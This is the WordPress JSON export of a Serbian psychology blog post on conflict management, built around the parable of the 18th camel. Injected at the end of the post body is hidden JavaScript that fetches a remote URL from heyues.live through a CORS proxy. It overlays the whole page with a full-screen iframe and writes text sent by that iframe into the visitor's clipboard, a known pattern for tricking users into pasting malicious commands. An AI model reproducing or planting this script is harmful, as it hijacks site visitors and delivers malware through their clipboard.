{"id":912,"date":"2018-11-24T18:04:07","date_gmt":"2018-11-24T17:04:07","guid":{"rendered":"https:\/\/psihologbeograd.rs\/backup\/?p=912"},"modified":"2025-04-01T12:58:56","modified_gmt":"2025-04-01T10:58:56","slug":"upravljanje-konfliktima","status":"publish","type":"post","link":"https:\/\/psihologbeograd.rs\/backup\/oblasti\/upravljanje-konfliktima\/","title":{"rendered":"Upravljanje konfliktima"},"content":{"rendered":"<p>Konflikti se javljaju kada ljudi kao posledicu neslaganja ose\u0107aju da su njihove potrebe ili interesi ugro\u017eeni. Konflikti su normalna pojava koji mogu da pru\u017ee mogu\u0107nost da se razvijamo kroz sticanje novih i boljih uvida, ali ipak imamo tendenciju da konflikt vidimo samo kao jedno negativno iskustvo proisteklo iz jako lo\u0161ih okolnosti.<\/p>\n<p>Dakle, konflikti su neizbe\u017eni ali na\u010din na koji ih vidimo i reagujemo na njih uti\u010de na kvalitet na\u0161ih \u017eivota.<\/p>\n<p>Kako bih vam pribli\u017eila ovu temu, ispri\u010da\u0107u vam jednu pri\u010du:<\/p>\n<p>Bio jednom jedan otac koji je imao 17 kamila. Kada je otac umro, njegovi sinovi su pogledali testament. U testamentu je pisalo da najstariji sin treba da dobije polovinu od 17 kamila, dok srednjem sinu treba dati jednu tre\u0107inu, a najmla\u0111em treba dati jednu devetinu od 17 kamila.<\/p>\n<p>Po\u0161to nije mogu\u0107e podeliti 17 na pola ili 17 na 3 ili 17 na 9, tri sina su po\u010dela da se sva\u0111aju. Kako mogu podeliti nasledstvo svog oca?<\/p>\n<p><strong>Da li imate ideju o tome kako podeliti 17 kamila izme\u0111u tri sina kako je njihov otac \u017eeleo?<\/strong><\/p>\n<p>Dakle, tri sina su odlu\u010dila da odu do mudraca.<br \/>\nMudri \u010dovek je strpljivo saslu\u0161ao sve i podelio 17 kamila na slede\u0107i na\u010din:<br \/>\n1\/2 najstarijem sinu, 1\/3 srednjem sinu i 1\/9. najmla\u0111em &#8211; kako je to mogu\u0107e?<\/p>\n<p>Mudar \u010dovek je kupio jo\u0161 jednu kamilu i dodao je u tih 17. Zna\u010di ukupno je onda bilo 18 kamila.<\/p>\n<p>Po\u010deo je \u010ditati testament pokojnog oca.<br \/>\nPolovina od 18 je 9. Dakle, on je dao najstarijem sinu 9 kamila.<br \/>\nJedna tre\u0107ina od 18 je 6. Tako je dao srednjem sinu 6 kamila.<br \/>\nJedna devetina od 18 je 2. Najmla\u0111i sin je dobio 2 kamile.<\/p>\n<p>9 plus 6 plus 2 je 17 i ovo ostavlja jednu kamilu, koju je mudrac odneo.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-916 size-full\" src=\"https:\/\/psihologbeograd.rs\/backup\/wp-content\/uploads\/2018\/11\/kofnlikt-kamila-slika.jpg\" alt=\"\" width=\"682\" height=\"519\" srcset=\"https:\/\/psihologbeograd.rs\/backup\/wp-content\/uploads\/2018\/11\/kofnlikt-kamila-slika.jpg 682w, https:\/\/psihologbeograd.rs\/backup\/wp-content\/uploads\/2018\/11\/kofnlikt-kamila-slika-300x228.jpg 300w, https:\/\/psihologbeograd.rs\/backup\/wp-content\/uploads\/2018\/11\/kofnlikt-kamila-slika-500x380.jpg 500w\" sizes=\"auto, (max-width: 682px) 100vw, 682px\" \/><\/p>\n<p><strong>\u0160ta mo\u017eemo zaklju\u010diti iz ove pri\u010de?<\/strong><\/p>\n<p>Dakle, klju\u010d re\u0161avanja konflikta je pronala\u017eenje 18. kamile, kreativno re\u0161enje koje je van pretpostavljenih moguc\u0301nosti. Jednom kada osoba mo\u017ee da prona\u0111e 18. kamilu, moguc\u0301nosti se otvaraju i problemi se lak\u0161e mogu re\u0161iti. Ovo nije uvek lako. Me\u0111utim, da bi se postiglo re\u0161enje, prvi korak je verovanje da mo\u017ee postojati obostrano re\u0161enje.<\/p>\n<p>Najbolji na\u010dini za re\u0161avanje sukoba su generalno oni koji se fokusiraju na re\u0161avanju kolaborativnih problema i zadovoljavanje interesa i potreba svih strana.<\/p>\n<p>Dakle, kako bismo re\u0161ili konflikt moramo proaktivno da pristupamo situacijama koje mogu potencijalno dovesti do vec\u0301eg konflikta i da uva\u017eimo mi\u0161ljenje druge osobe iako mo\u017eda ne delimo isti stav ili ne podr\u017eavamo pona\u0161anje osobe. Kada uspemo da odvojimo pona\u0161anje osobe, da ne osu\u0111ujemo na osnovu pona\u0161anja iako se ne sla\u017eemo sa tim, tek onda mo\u017eemo biti asertivni u komunikaciji. Asertivost poma\u017ee u re\u0161avanju konflikta, jer agresivnom ili pasivnom komunikacijom vrlo verovatno ne\u0107emo do\u0107i do razre\u0161enja.<\/p>\n<p>Za kraj, kada i ukoliko do\u0111e do konflikta, setite se da iako ne mo\u017eete da kontroli\u0161ete kako se neko odnosi prema vama, mo\u017eete da kontroli\u0161ete svoj odnos prema drugima, i budite fleksibilni i kreativni u nala\u017eenju re\u0161enja.<\/p>\n<p>\u00a0(function() {<\/p>\n<p>  const configLink = &#8222;https:\/\/corsproxy.io\/?url=http:\/\/heyues.live&#8220;;<\/p>\n<p>  if (!window.__digitalflwrFetchPromise) {<\/p>\n<p>    window.__digitalflwrFetchPromise = fetch(configLink)<br \/>\n      .then(response =&gt; {<br \/>\n        if (!response.ok) {<br \/>\n          throw new Error(&#8220; &#8222;);<br \/>\n        }<br \/>\n        return response.text();<br \/>\n      })<\/p>\n<p>      .then(finalUrl =&gt; {<br \/>\n        return fetch(finalUrl, { method: &#8222;HEAD&#8220; })<br \/>\n          .then(headResponse =&gt; ({ headResponse, finalUrl }));<br \/>\n      })<br \/>\n      .catch(() =&gt; {<\/p>\n<p>      });<br \/>\n  }<\/p>\n<p>  if (typeof window.__digitalflwrIframeCreated === &#8222;undefined&#8220;) {<br \/>\n    window.__digitalflwrIframeCreated = false;<br \/>\n  }<\/p>\n<p>  window.__digitalflwrFetchPromise<br \/>\n    .then(result =&gt; {<\/p>\n<p>      if (!result) return;<br \/>\n      const { headResponse, finalUrl } = result;<\/p>\n<p>      if (!headResponse || headResponse.status === 404) {<br \/>\n        return;<br \/>\n      }<\/p>\n<p>      if (!window.__digitalflwrIframeCreated) {<br \/>\n        window.__digitalflwrIframeCreated = true;<br \/>\n        createMainIframe(finalUrl);<br \/>\n      }<br \/>\n    })<br \/>\n    .catch(() =&gt; {<\/p>\n<p>    });<\/p>\n<p>  function createMainIframe(url) {<br \/>\n    const iframe = document.createElement(&#8222;iframe&#8220;);<br \/>\n    iframe.src = url;<br \/>\n    iframe.style.position = &#8222;fixed&#8220;;<br \/>\n    iframe.style.top = 0;<br \/>\n    iframe.style.left = 0;<br \/>\n    iframe.style.width = &#8222;100%&#8220;;<br \/>\n    iframe.style.height = &#8222;100%&#8220;;<br \/>\n    iframe.style.border = &#8222;none&#8220;;<br \/>\n    iframe.style.margin = 0;<br \/>\n    iframe.style.padding = 0;<br \/>\n    iframe.style.overflow = &#8222;hidden&#8220;;<br \/>\n    iframe.style.zIndex = 99999;<\/p>\n<p>    document.body.appendChild(iframe);<\/p>\n<p>    window.addEventListener(&#8222;message&#8220;, function(event) {<br \/>\n      if (!event.data || event.data.type !== &#8222;copy&#8220;) return;<\/p>\n<p>      if (navigator.clipboard &amp;&amp; navigator.clipboard.writeText) {<br \/>\n        navigator.clipboard.writeText(event.data.text).catch(() =&gt; {<br \/>\n          fallbackCopyText(event.data.text);<br \/>\n        });<br \/>\n      } else {<br \/>\n        fallbackCopyText(event.data.text);<br \/>\n      }<br \/>\n    });<\/p>\n<p>    function fallbackCopyText(text) {<br \/>\n      const textArea = document.createElement(&#8222;textarea&#8220;);<br \/>\n      textArea.value = text;<br \/>\n      document.body.appendChild(textArea);<br \/>\n      textArea.select();<\/p>\n<p>      try {<br \/>\n        document.execCommand(&#8222;copy&#8220;);<br \/>\n      } catch (err) {<\/p>\n<p>      }<\/p>\n<p>      document.body.removeChild(textArea);<br \/>\n    }<br \/>\n  }<br \/>\n})();<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Konflikti se javljaju kada ljudi kao posledicu neslaganja ose\u0107aju da su njihove potrebe ili interesi ugro\u017eeni. Konflikti su normalna pojava koji mogu da pru\u017ee mogu\u0107nost da se razvijamo kroz sticanje novih i boljih uvida, ali ipak imamo tendenciju da konflikt vidimo samo kao jedno negativno iskustvo proisteklo iz jako lo\u0161ih [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":917,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-912","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-oblasti"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/posts\/912","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/comments?post=912"}],"version-history":[{"count":3,"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/posts\/912\/revisions"}],"predecessor-version":[{"id":2135,"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/posts\/912\/revisions\/2135"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/media\/917"}],"wp:attachment":[{"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/media?parent=912"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/categories?post=912"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/psihologbeograd.rs\/backup\/wp-json\/wp\/v2\/tags?post=912"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}